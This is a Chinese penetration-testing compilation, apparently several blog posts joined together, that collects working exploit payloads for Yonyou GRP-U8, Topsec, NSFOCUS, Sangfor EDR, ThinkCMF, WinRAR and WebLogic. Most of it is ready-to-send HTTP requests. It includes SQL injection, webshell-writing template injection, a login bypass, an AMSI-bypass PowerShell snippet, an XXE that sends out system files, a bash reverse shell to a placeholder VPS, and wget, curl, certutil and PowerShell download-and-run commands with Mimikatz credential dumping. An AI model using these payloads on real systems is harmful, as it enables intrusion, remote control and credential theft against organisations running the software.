用友GRP-u8 注入+天融信TopApp-LB 负载均衡系统sql注入 渗透测试
用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。
该系统被曝存在命令执行漏洞,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击,漏洞细节以及相关漏洞poc如下:
用友GRP-u8 XXE漏洞(XML External Entity-XML外部实体注入):
POST /Proxy HTTP/1.1 Accept: Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;) Host: host Content-Length: 357 Connection: Keep-Alive Cache-Control: no-cache cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'net user'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
burp里面repeat即可:
天融信TopApp-LB 负载均衡系统sql注入:
POST /acc/clsf/report/datasource.php HTTP/1.1 Host: Connection: close Accept: text/javascript, text/html, application/xml, text/xml, */* X-Prototype-Version: 1.6.0.3 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=ijqtopbcbmu8d70o5t3kmvgt57 Content-Type: application/x-www-form-urlencoded Content-Length: 201 t=l&e=0&s=t&l=1&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22--+&gid=0&lmt=10&o=r_Speed&asc=false&p=8&lipf=&lipt=&ripf=&ript=&dscp=&proto=&lpf=&lpt=&rpf=&rpt=@
至于前面的sangfor EDR RCE漏洞已经发过了。
绿盟UTS综合威胁探针管理员任意登录复现 渗透测试
背景:
绿盟全流量威胁分析解决方案针对原始流量进行采集和监控,对流量信息进行深度还原、存储、查询和分析,可以及时掌握重要信息系统相关网络安全威胁风险,及时检测漏洞、病毒木马、网络攻击情况,及时发现网络安全事件线索,及时通报预警重大网络安全威胁,调查、防范和打击网络攻击等恶意行为,保障重要信息系统的网络安全。
绿盟综合威胁探针设备版本V2.0R00F02SP02及之前存在此漏洞。
绿盟的邮件回应:
尊敬的客户:
您好!
近日,收到客户反馈我司UTS产品存在“管理员任意登录漏洞”,此漏洞经过内部确认已于2020年8月进行了漏洞修复,并已经联系了受影响客户进行设备升级。现将相关情况说明如下:
此漏洞属于UTS某API存在敏感信息泄露的问题,攻击者可以绕过密码验证登录UTS设备。攻击者利用web特殊请求获取管理员权限,可对设备进行管控,修改防护策略,查看攻击信息和内网地址等资产信息,威胁设备安全。
此问题不是0day漏洞,不会泄露用户明文密码,不存在命令注入漏洞,攻击者无法利用此漏洞跳转攻击其它设备。目前我们已经在UTSV2.0R00F02SP03版本完成修复,升级官网发布的UTSV2.0R00F02SP03/UTSV2.0R00F02SP04升级包均可以解决此问题。同时请客户升级后,及时修改账户密码。
对于不具备升级条件的客户,请联系绿盟技术人员,绿盟技术人员为您提供技术支持进行解决。为您带来的不便,我们深感抱歉。
绿盟科技集团股份有限公司
2020年9月11日
漏洞利用过程:
对响应包进行修改,将false更改为true的时候可以泄露管理用户的md5值密码
利用渠道的md5值去登录页面
替换为 admin密码的md5:
7ac301836522b54afcbbed714534c7fb
成功登录,登录后通过管理员权限对设备进行管控,并且可以看到大量的攻击信息,泄露内部网络地址包括资产管理。
HW礼盒:深信服edr RCE,天融信dlp unauth和通达OA v11.6版本RCE 渗透测试
HW礼盒,请查收:
深信服edr RCE:
https://ip+端口/tool/log/c.php?strip_slashes=system&host=id 即可执行命令,
除上面之外,还有任意文件读取,验证码绕过,还有就是rce。
任意用户登录:
注:2020年08月18日,fofa是通杀,版本小于 3.2.19
fofa指纹: title="SANGFOR终端检测响应平台"
payload:target+/ui/login.php?user=admin 即可直接登录:
漏洞剖析:
在源码的:/web/ui/login.php 文件里面
登录判断的代码有一处让人感觉坑爹的地方:
天融信dlp-未授权+越权:
漏洞影响:已知版本号v3.1130.308p3_DLP.1
风险等级:高
漏洞细节:管理员登陆系统之后修改密码,未采用原由码校验,且存在未授权访问导致存在了越权修改管理员密码.
默认用户superman的uid=1
POST /?module-auth_user&action=mod_edit.pwd HTTP/1.1
修复==》找官网
奇安信天擎EDR管理服务器远程命令执行RCE漏洞:
漏洞描述:
影响范围:使用奇安信天擎EDR产品的主机
暂时不详
说明:
该漏洞通过深信服SSLVPN进入内网后,利用这类漏洞控制所有装有edr的机器。
深信服 vpn rce 漏洞详情暂时未知
致远OA-A8-V5最新版未授权getshell--七月火师傅暂未公开
通达OA11.6 preauth RCE:
https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/tools/%E9%80%9A%E8%BE%BEOA_v11.6_RCE_EXP.py
绕过AMSI执行powershell脚本 渗透测试
简单的演示下从老外哪里学来的bypass AMSI 的姿势,看下效果图:
绕过AMSI执行powershell脚本
AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。
在基于场景的资产评估或者基于数据的红队评估中,许多渗透测试人员都会与AMSI打交道,因此对相关功能也比较了解。AMSI能够提供更强大的保护,可以为反恶意软件产品提供更透彻的可见性,因此能防御攻击过程中常用的一些现代工具、战术以及过程(TTP)。最相关的操作就是PowerShell无文件payload,在实际环境中,攻击者及渗透测试人员都在使用这种技术来完成任务。
正因为此,AMSI是大家广泛研究的一个主题,能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中,介绍了一种新的绕过方法。
关键powershell代码如下:
$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static') $b.SetValue($null,$true)
代码来自:https://pastebin.com/sQFWANwr
ThinkCMF5.x以下漏洞合集 渗透测试
- 前台SQL注入:
需要普通用户权限,默认可注册
paylaod:
POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1
Host: localhost
Connection: close
Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+-
还有以下可以测试:
post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind
- 前台模版注入漏洞-可getshell四处
# 仅在Windows环境测试
# 第一处
http://website/ThinkCMFX/index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
# 第二处
http://website/ThinkCMFX/index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
# 第三处
/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
# 第四处
/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg=="));
- 任意文件删除-只能windows删除
在用户上传头像处存在任意文件删除漏洞,发送如下数据包后,会删除网站根目录下一个名为 test.txt 的文件。(该漏洞仅能在 Windows 下触发)
POST /ThinkCMFX/index.php?g=User&m=Profile&a=do_avatar& HTTP/1.1
Host: localhost
Cookie: PHPSESSID=bggit7phrb1dl99pcb2lagbmq0;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
imgurl=..\..\..\test.txt
- 任意文件上传
在 ThinkCMFX2.2.3 最终版中,存在一处任意文件上传(需要普通用户权限,默认可注册)
curl -F "file=@/tmp/shell.php" -X "POST" -b 'PHPSESSID=qekmttucmue6vv41kpdjghnkd0;' 'http://127.0.0.1/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile'
-
任意文件包含(读取数据库配置等等)
/index.php?a=display&templateFile=README.md
使用说明
thinkcmf 并没有死,并且有3版本与5版本这里提供一些方法,帮助你们辨别哪一些是可以日的,那一些事不行的。 1.看logo 3的logo是黄色的. 2.在网站url 后面输入 admin,如果页面是蓝色的表示是3的,可日穿之. 3.查看 README.md 在网站url后面输入README.md. 另外还有一个说明,你在实际操作的过程中,可能会遇到他一直报这个
模板不存在
错:
url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>
请放心这并不是说明漏洞不可使用,而是说,这个模版不存在,你可以换一个html即可
例如:
/../public/index
/../public/exception
/../data/index
/../data/runtime/index
/../plugins/Mobileverify/View/admin_index
/../plugins/Mobileverify/View/index
/../plugins/Mobileverify/View/widget
/../plugins/Demo/View/admin_index
/../plugins/Demo/View/index
/../plugins/Demo/View/widget
/../application/Install/View/Public/footer
/../application/Install/View/Public/head
/../application/Install/View/Public/header
/../application/Common/index
/../application/Portal/Lang/en-us/index
/../application/Api/Lang/en-us/index
/../application/Api/Lang/zh-cn/index
/../application/Comment/Lang/en-us/index
/../application/Comment/Lang/zh-cn/index
url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php>
/../../../public/index
/../../../public/exception
/../../../data/index
/../../../data/runtime/index
/../../../plugins/Mobileverify/View/admin_index
/../../../plugins/Mobileverify/View/index
/../../../plugins/Mobileverify/View/widget
/../../../plugins/Demo/View/admin_index
/../../../plugins/Demo/View/index
/../../../plugins/Demo/View/widget
/../../../application/Install/View/Public/footer
/../../../application/Install/View/Public/head
/../../../application/Install/View/Public/header
/../../../application/Common/index
/../../../application/Portal/Lang/en-us/index
/../../../application/Api/Lang/en-us/index
/../../../application/Api/Lang/zh-cn/index
/../../../application/Comment/Lang/en-us/index
/../../../application/Comment/Lang/zh-cn/index
还有最后一句废话:模版注入对于linux 并不好用 : )
更多漏洞POC-持续收集中-https://github.com/Mr-xn/Penetration_Testing_POC
参考:
https://xz.aliyun.com/t/3409
https://xz.aliyun.com/t/3529
https://mochazz.github.io/2019/07/25/ThinkCMFX漏洞分析合集
ThinkCMF2.2.2前台直接getshell+任意文件包含漏洞 渗透测试
0x00 简介
ThinkCMF是一款基于ThinkPHP+MySQL开发的开源中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。
0x01 漏洞概述
远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。
0x02 影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
0x03 漏洞利用&测试环境
测试环境:
测试版本:thinkcmf 2.2.2
phpstudy pro
windows 10
一共有两种方式:
第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,phpinfo版payload如下:
/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
第一种漏洞复现截图如下:
第二种是通过构造a参数的display方法,实现任意内容包含漏洞,payload如下:
/index.php?a=display&templateFile=README.md
第二种漏洞复现截图如下:
0x04 漏洞分析
根据index.php的第25行可知道项目相对路径为application目录:
//开启调试模式 define("APP_DEBUG", true); //网站当前路径 define('SITE_PATH', dirname(__FILE__)."/"); //项目路径,不可更改 define('APP_PATH', SITE_PATH . 'application/'); //项目相对路径,不可更改 define('SPAPP_PATH', SITE_PATH.'simplewind/');
然后找到 application\Portal\Controller 路径下的 IndexController.class.php 控制器类:
可以看到只有一个公共的display方法:
namespace Portal\Controller; use Common\Controller\HomebaseController; /** * 首页 */ class IndexController extends HomebaseController { //首页 小夏是老猫除外最帅的男人了 public function index() { $this->display(":index"); } }
其父类是 Common\Controller\HomebaseController ,根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 application\Common\Controller 路径下的 HomebaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法:
这边有问题的是display函数和fetch函数:
display函数的作用是加载模板和页面输出,所对应的参数为:
$templateFile 指定要调用的模板文件,$charset 模板输出字符集,$contentType 输出类型,$content 模板输出内容。
templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找:
public function parseTemplate($template='') {...}
然后调用THinkphp Controller 函数的display方法,其中fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。
/** * 获取输出页面内容 * 调用内置的模板引擎fetch方法, * @access protected * @param string $templateFile 指定要调用的模板文件 * 默认为空 由系统自动定位模板文件 * @param string $content 模板输出内容 * @param string $prefix 模板缓存前缀* * @return string */ public function fetch($templateFile='',$content='',$prefix=''){ $templateFile = empty($content)?$this->parseTemplate($templateFile):''; return parent::fetch($templateFile,$content,$prefix); }
这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell。最终形成的payload:
/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg=="));
0x05 修复方式
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。
还有另一种getshell的方法:
参考:
https://www.freebuf.com/vuls/217586.html
https://xz.aliyun.com/t/3529
WinRAR 5.80 XML 注入漏洞和拒绝服务攻击漏洞 渗透测试
0x00背景介绍
WinRAR,是Windows标配的压缩软件,大家都不陌生。
0x01漏洞描述
但是最近这两天winrar 5.80爆出了两个漏洞,一个是XML注入漏洞,一个是拒绝服务攻击漏洞。
0x02漏洞复现POC
第一个XML注入漏洞:
此poc展示非授权情况下用户敏感文件上传
这里的文件是:C:\Windows\system.ini
1-开一个简单的http服务器
在PYthon环境下运行 :
python -m SimpleHTTPServer 8800
并在当前目录放一个start.dtd文件,内容参考下文。
2-打开WinRAR
打开Winrar或者用Winrar打开任意一个rar文件
3-点击菜单栏的帮助
4-点击 帮助主题
5-拖一个精心制作的html文件到上面的帮助窗口
XML注入漏洞利用的html文件:
<html><body><xml> <?xml version="1.0"?> <!DOCTYPE flavios [ <!ENTITY % file SYSTEM "C:\Windows\system.ini"> <!ENTITY % dtd SYSTEM "http://127.0.0.1:8800/start.dtd"> %dtd;]> <pwn>&send;</pwn> </xml></body></html>
放置简单web服务器上的start.dtd文件:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8800?%file;'>"> %all;
第二个拒绝服务攻击漏洞的HTML利用文件代码如下:
<script type="text/javascript"> //<![CDATA[ <!-- var x="function f(x){var i,o=\"\",l=x.length;for(i=l-1;i>=0;i--) {try{o+=x.c" + "harAt(i);}catch(e){}}return o;}f(\")\\\"function f(x,y){var i,o=\\\"\\\\\\\""+ "\\\\,l=x.length;for(i=0;i<l;i++){if(i==28)y+=i;y%=127;o+=String.fromCharCod" + "e(x.charCodeAt(i)^(y++));}return o;}f(\\\"\\\\xr}jMDLW\\\\\\\\nRTN\\\\\\\\\\"+ "\\\\\\LFE\\\\\\\\004\\\\\\\\017\\\\\\\\022GD\\\\\\\\\\\\\\\\^\\\\\\\\rhGjYh" + "83#9y2/(-s:\\\\\\\\021\\\\\\\\024\\\\\\\\013\\\\\\\\025Y9D\\\\\\\\037E\\\\\\"+ "\\034\\\\\\\\013F\\\\\\\\017\\\\\\\\002\\\\\\\\003\\\\\\\\037\\\\\\\\021\\\\"+ "\\\\005\\\\\\\\033\\\\\\\\021\\\\\\\\030\\\\\\\\020*UX\\\\\\\\032\\\\\\\\02" + "5\\\\\\\\025\\\\\\\\010\\\\\\\\030\\\\\\\\020t<^!M@;?T+4W~Q`3}tfr4}bch4\\\\" + "\\\\177jith\\\\\\\\\\\"\\\\|\\\\\\\\003g[TLTB[u\\\\\\\\010\\\\\\\\013OB@[U_" + "F\\\\\\\\016h\\\\\\\\027\\\\\\\\033\\\\\\\\006d\\\\\\\\033\\\\\\\\004gNaP\\" + "\\\\\\003\\\\\\\\\\\"\\\\.&:z\\\\\\\\0314\\\\\\\\033&u9(>$>;p=3=3 70=d\\\\\\"+ "\\006y\\\\\\\\n\\\\\\\\037\\\\\\\\r<\\\\\\\\022\\\\\\\\010\\\\\\\\022\\\\\\" + "\\027J \\\\\\\\010\\\\\\\\004\\\\\\\\007\\\\\\\\r\\\\\\\\0177NS2\\\\\\\\035" + ",\\\\\\\\037.\\\\\\\\001(\\\\\\\\033VWX=\\\\\\\\023\\\\\\\\026\\\\\\\\\\\\\\"+ "\\\\\\\\\\016\\\\\\\\026l!\\\\\\\\\\\"\\\\_vYh'()Ynx-}g|1/3Wgsvl|Uyvx}k\\\\" + "\\\\010}\\\\\\\\000tWFTNX]\\\\\\\\004xDHBCl\\\\\\\\023\\\\\\\\033\\\\\\\\02" + "3\\\\\\\\024iDkV\\\\\\\\031\\\\\\\\032\\\\\\\\033\\\\\\\\177\\\\\\\\\\\\\\\\"+ "RS`2*/j\\\\\\\\0273)`\\\\\\\\025h\\\\\\\\027n\\\\\\\\021l,=5|6,0\\\\\\\\nu\\"+ "\\\\\\004{\\\\\\\\006yu}~\\\\\\\\003\\\\\\\\022=\\\\\\\\014CDE5\\\\\\\\002\\"+ "\\\\\\034I\\\\\\\\031\\\\\\\\003\\\\\\\\000MSO>\\\\\\\\036\\\\\\\\006\\\\\\" + "\\033\\\\\\\\035\\\\\\\\033\\\\\\\\021WXYZ'\\\\\\\\016!\\\\\\\\020 !\\\\\\\\"+ "\\\"\\\\_vYh;'ziye}z1LcN}(:tx|`$GnAp#\\\\\\\\017IVNH\\\\\\\\033\\\\\\\\004\\"+ "\\\\\\016\\\\\\\\023\\\\\\\\031\\\\\\\\021\\\"\\\\,28)\\\"(f};)lo,0(rtsbus." + "o nruter};)i(tArahc.x=+o{)--i;0=>i;1-l=i(rof}}{)e(hctac};l=+l;x=+x{yrt{)401" + "=!)31/l(tAedoCrahc.x(elihw;lo=l,htgnel.x=lo,\\\"\\\"=o,i rav{)x(f noitcnuf\""+ ")" ; while(x=eval(x)); //--> //]]> </script> <script type="text/javascript"> //<![CDATA[ <!-- var x="function f(x){var i,o=\"\",ol=x.length,l=ol;while(x.charCodeAt(l/13)!" + "=48){try{x+=x;l+=l;}catch(e){}}for(i=l-1;i>=0;i--){o+=x.charAt(i);}return o" + ".substr(0,ol);}f(\")19,\\\"ZPdw771\\\\b77-0xjk-7=3771\\\\sp,cw$520\\\\:330\\"+ "\\xg030\\\\jj9%530\\\\b000\\\\XZUUVX620\\\\LP\\\\\\\\Pr\\\\610\\\\KOHD400\\" + "\\620\\\\720\\\\\\\\\\\\WOWGPr\\\\530\\\\NClAauFkD,$gqutdr/3-ig~`|)rkanwbo2" + "30\\\\t\\\\ 520\\\\&310\\\\$n\\\\200\\\\)230\\\\/000\\\\-K530\\\\310\\\\310" + "\\\\n\\\\630\\\\010\\\\IULFW620\\\\600\\\\400\\\\700\\\\520\\\\=*100\\\\(70" + "0\\\\4500\\\\*310\\\\-u}xy8pt~}|{771\\\\itg/e771\\\\sb|`V620\\\\530\\\\NT\\" + "\\\\\\MdYjGh010\\\\@TVI[O410\\\\620\\\\n\\\\330\\\\ZB@CQA200\\\\SAijArGhEec" + "J{HaN*2S?9t)V)5,&waedtbn\\\\!010\\\\'420\\\\%n\\\\+r\\\\U]XY030\\\\PT^]\\\\" + "\\\\[ZY]GZEr\\\\CYQ@b~4|);/pw$:2'610\\\\?410\\\\=220\\\\vn720\\\\h520\\\\hz" + "f7!%$4\\\"\\\\730\\\\L\\\\\\\\JOfWdEjN420\\\\230\\\\230\\\\IU710\\\\@BE_IG]" + "AHyV771\\\\430\\\\300\\\\|kntnxixnv|:`kwe2S3h|r~)|wowgp>o\\\\\\\\410\\\\!B7" + "30\\\\330\\\\430\\\\020\\\\K030\\\\)600\\\\/L530\\\\530\\\\330\\\\600\\\\QN" + "C400\\\\500\\\\r\\\\320\\\\710\\\\720\\\\320\\\\M620\\\\710\\\\500\\\\2+>3?" + "\\\"(f};o nruter};))++y(^)i(tAedoCrahc.x(edoCrahCmorf.gnirtS=+o;721=%y{)++i" + ";l<i;0=i(rof;htgnel.x=l,\\\"\\\"=o,i rav{)y,x(f noitcnuf\")" ; while(x=eval(x)); //--> //]]> </script>
参考:
https://packetstormsecurity.com/files/154918/winrar580-xxe.txt
https://www.exploit-db.com/exploits/47525
CNVD-C-2019-48814 Weblogic wls9_async_response 反序列 渗透测试
0x1.背景
首先,CNVD收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)。
0x2.漏洞描述
攻击者利用该漏洞,可在未授权的情况下远程执行命令。从相关信息来看。 部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。 也就是说漏洞出现在 wls9_async_response.war 这个包里面,来详细看一看。
0x3.影响范围
主要影响以下版本:
WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
0x4.复现漏洞环境
而今天复现的就是第一个版本,即WebLogic Server 10.3.6.0(wls1036_generic.jar)。
Kali2019\Win10(关闭安全中心实时防护下)
漏洞组件:bea_wls9_async_response.war
漏洞路径:http://ip:port/_async/AsyncResponseService
漏洞确认:访问漏洞路径存在以下页面,即有可能存在漏洞
漏洞利用(所有利用都需要被攻击机能够访问公网):
所有的POST报文都可以使用burpsuite完成,burpsuite破解、汉化、插件等相关教程:传送门
一、Linux下:
1、反弹shell
POST如下报文即可:
POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 853 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/vpsip/vpsport 0>&1</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
2、上传webshell
- 放置一个webshell.txt到公网
- POST以下报文 任选其一
报文一:
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
报文二:
POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 789 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
3、访问webshell
http://ip:port/_async/webshell.jsp
二、Windows下
1、反弹shell
可直接使用黑客工具-后渗透工具-CobaltStrike生成一个payload.ps1 powershell脚本,将该脚本放到公网上,然后使用如下报文即可
POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 861 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
- 放置一个webshell.txt到公网
- 使用以下报文 任选其一均可
报文一:
POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 854 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
报文二:
POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 854 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>certutil -urlcache -split -f http://ip:port/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope> 3.访问webshell http://ip:port/_async/webshell.jsp
(注:上述报文中servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/为默认路径,如果路径修改,可以配合反弹shell进行获取)
0x5.缓解措施
